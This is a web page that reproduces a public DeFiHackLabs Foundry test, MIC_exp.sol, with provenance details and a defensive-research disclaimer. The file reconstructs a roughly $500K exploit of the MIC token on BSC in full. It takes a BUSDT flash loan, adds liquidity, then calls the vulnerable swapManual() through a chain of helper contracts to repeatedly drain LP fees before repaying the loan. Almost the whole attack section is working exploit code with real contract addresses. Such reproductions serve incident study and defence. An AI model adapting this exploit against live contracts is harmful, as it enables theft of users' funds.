Public reproduction file

src/test/2024-01/MIC_exp.sol

Public reproduction file for dataset entry MIC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/MIC_exp.sol211 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$500K
8// Attacker : https://bscscan.com/address/0x1703062d657c1ca439023f0993d870f4707a37ff
9// Attack Contract : https://bscscan.com/address/0xafebc0a9e26fea567cc9e6dd7504800c67f4e3fe
10// Vulnerable Contract : https://bscscan.com/address/0xb38c2d2d6a168d41aa8eb4cead47e01badbdcf57
11// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x316c35d483b72700e6f4984650d217304146b3732bb148e32fa7f8017843eb24
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xb38c2d2d6a168d41aa8eb4cead47e01badbdcf57#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/MetaSec_xyz/status/1742484748239536173
19// Hacking God :
20 
21interface IMIC is IERC20 {
22    function swapManual() external;
23}
24 
25contract ContractTest is Test {
26    uint256 private constant blocknumToForkFrom = 34_905_161;
27    Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
28    Uni_Pair_V2 private constant BUSDT_MIC = Uni_Pair_V2(0xB3611B1cbDDB14bC847906BfB9c443AC724A54dC);
29    Uni_Pair_V2 private constant MIC_WBNB = Uni_Pair_V2(0xfEe55F16FD5Aec503B73146045b1474925a74dec);
30    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
31    IMIC private constant MIC = IMIC(0xb38C2D2d6A168D41AA8eB4CEAd47E01BadbDCF57);
32    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
33    IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
34    // Fake token contract deployed by exploiter
35    IUSDT private constant FakeUSDT = IUSDT(0x9f779d61a7139960577CF7392892296F30D86df7);
36    address private constant exploiter = 0x1703062d657c1ca439023F0993D870F4707a37FF;
37    address private constant attackContract = 0xaFEBc0A9e26fea567cC9E6Dd7504800c67f4E3fE;
38 
39    uint256 private constant flashBUSDTAmount = 1700e18;
40 
41    function setUp() public {
42        vm.createSelectFork("bsc", blocknumToForkFrom);
43        vm.label(address(BUSDT_USDC), "BUSDT_USDC");
44        vm.label(address(BUSDT_MIC), "BUSDT_MIC");
45        vm.label(address(Router), "Router");
46        vm.label(address(MIC), "MIC");
47        vm.label(address(BUSDT), "BUSDT");
48        vm.label(address(WBNB), "WBNB");
49        vm.label(address(FakeUSDT), "FakeUSDT");
50    }
51 
52    function testExploit() public {
53        deal(address(BUSDT), address(this), 0);
54        deal(address(this), 0);
55        emit log_named_decimal_uint(
56            "Exploiter BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
57        );
58 
59        // Flashloan 1700 BUSDT tokens
60        BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint8(0)));
61 
62        emit log_named_decimal_uint(
63            "Exploiter BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
64        );
65    }
66 
67    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
68        approveRouter();
69        // Here I decided to skip the swap from Fake USDT to BUSDT because of some restrictions when
70        // calling Fake USDT protected transferFrom() function from Router when swapping (also this is unnecessary step)
71        // Swap 1 FakeUSDT
72        // FakeUSDTToBUSDT();
73        deal(address(BUSDT), address(this), BUSDT.balanceOf(address(this)) + 3_313_981_013_131_338);
74        // Swap half of BUSDT balance to MIC tokens
75        BUSDTToMIC();
76        // Swap second half of BUSDT tokens to BNB
77        BUSDTToBNB();
78        // Add liquidity to MIC/WBNB pair. Obtain LP tokens
79        Router.addLiquidityETH{value: address(this).balance}(
80            address(MIC), MIC.balanceOf(address(this)), 0, 0, address(this), block.timestamp + 10
81        );
82 
83        // Following function make a call to vulnerable swapAndSendLPFee private function
84        // Acquire LP fees in BUSDT
85        MIC.swapManual();
86 
87        LPFeeClaimer currentLpFeeClaimer = new LPFeeClaimer();
88        // Transfer LP tokens to helper attack contract for acquiring new LP fees
89        // Transfered amount will be approved back to this contract
90        MIC_WBNB.transfer(address(currentLpFeeClaimer), MIC_WBNB.balanceOf(address(this)));
91        currentLpFeeClaimer.claim();
92 
93        uint256 i = 1;
94        while (i < 10) {
95            LPFeeClaimer newLpFeeClaimer = new LPFeeClaimer();
96            // Main (this) attack contract has been approved from current helper attack contract to transfer
97            // LP tokens to new helper attack contract
98            MIC_WBNB.transferFrom(
99                address(currentLpFeeClaimer), address(newLpFeeClaimer), MIC_WBNB.balanceOf(address(currentLpFeeClaimer))
100            );
101            newLpFeeClaimer.claim();
102            currentLpFeeClaimer = newLpFeeClaimer;
103            ++i;
104        }
105        currentLpFeeClaimer.remove();
106        BNBToBUSDT();
107 
108        // Repay flashloan
109        BUSDT.transfer(address(BUSDT_USDC), flashBUSDTAmount + fee0);
110 
111        // Additionally - at the end of the attack amount of BUSDT was swapped to Fake USDT tokens
112    }
113 
114    receive() external payable {}
115 
116    function approveRouter() private {
117        MIC.approve(address(Router), type(uint256).max);
118        BUSDT_MIC.approve(address(Router), type(uint256).max);
119        BUSDT.approve(address(Router), type(uint256).max);
120        WBNB.approve(address(Router), type(uint256).max);
121        // Approve is protected (Ownable).
122        vm.prank(attackContract, exploiter);
123        FakeUSDT.approve(address(Router), type(uint256).max);
124    }
125 
126    // function FakeUSDTToBUSDT() private {
127    //     address[] memory path = new address[](2);
128    //     path[0] = address(FakeUSDT);
129    //     path[1] = address(BUSDT);
130    //     vm.prank(attackContract, exploiter);
131    //     Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
132    //         1e18,
133    //         0,
134    //         path,
135    //         address(this),
136    //         block.timestamp + 10
137    //     );
138    // }
139 
140    function BUSDTToMIC() private {
141        address[] memory path = new address[](2);
142        path[0] = address(BUSDT);
143        path[1] = address(MIC);
144        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
145            BUSDT.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp + 10
146        );
147    }
148 
149    function BUSDTToBNB() private {
150        address[] memory path = new address[](2);
151        path[0] = address(BUSDT);
152        path[1] = address(WBNB);
153        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
154            BUSDT.balanceOf(address(this)), 0, path, address(this), block.timestamp + 10
155        );
156    }
157 
158    function BNBToBUSDT() private {
159        address[] memory path = new address[](2);
160        path[0] = address(WBNB);
161        path[1] = address(BUSDT);
162        Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: address(this).balance}(
163            0, path, address(this), block.timestamp + 10
164        );
165    }
166}
167 
168contract LPFeeClaimer {
169    Uni_Pair_V2 private constant MIC_WBNB = Uni_Pair_V2(0xfEe55F16FD5Aec503B73146045b1474925a74dec);
170    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
171    IMIC private constant MIC = IMIC(0xb38C2D2d6A168D41AA8eB4CEAd47E01BadbDCF57);
172    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
173    IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
174 
175    constructor() {
176        // Approve LP tokens to main attack contract (deployer of this contract).
177        MIC_WBNB.approve(msg.sender, type(uint256).max);
178    }
179 
180    function claim() external {
181        // Obtain LP fees
182        MIC.swapManual();
183        // Transfer obtained LP fees to the main attack contract
184        BUSDT.transfer(msg.sender, BUSDT.balanceOf(address(this)));
185    }
186 
187    // Remove liquidity (MIC/BNB), swap MIC to BNB and finally transfer swapped BNB to main attack contract
188    function remove() external {
189        MIC_WBNB.approve(address(Router), type(uint256).max);
190        MIC.approve(address(Router), type(uint256).max);
191        Router.removeLiquidityETHSupportingFeeOnTransferTokens(
192            address(MIC), MIC_WBNB.balanceOf(address(this)), 0, 0, address(this), block.timestamp + 10
193        );
194        MICToBNB();
195        // Transfer BNB to main attack contract
196        (bool success,) = msg.sender.call{value: address(this).balance}("");
197        require(success, "Transfering BNB not successful");
198    }
199 
200    receive() external payable {}
201 
202    function MICToBNB() private {
203        address[] memory path = new address[](2);
204        path[0] = address(MIC);
205        path[1] = address(WBNB);
206 
207        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
208            MIC.balanceOf(address(this)), 0, path, msg.sender, block.timestamp + 10
209        );
210    }
211}

Analysis

Dataset entry

Public Foundry test for “MIC” (2024-01-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x1703062d657c1ca439023f0993d870f4707a37ff
Attack Contract
0xafebc0a9e26fea567cc9e6dd7504800c67f4e3fe
Vulnerable Contract
0xb38c2d2d6a168d41aa8eb4cead47e01badbdcf57

Attack Tx
0x316c35d483b72700e6f4984650d217304146b3732bb148e32fa7f8017843eb24

File record

Name: MIC
Path: src/test/2024-01/MIC_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: e6fed7b9c7e09de613aee54981c29daafac480da
Language: Solidity
Size: 212 lines
Date: 2024-01-02
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-01/MIC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e6fed7b9c7e09de613aee54981c29daafac480da, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.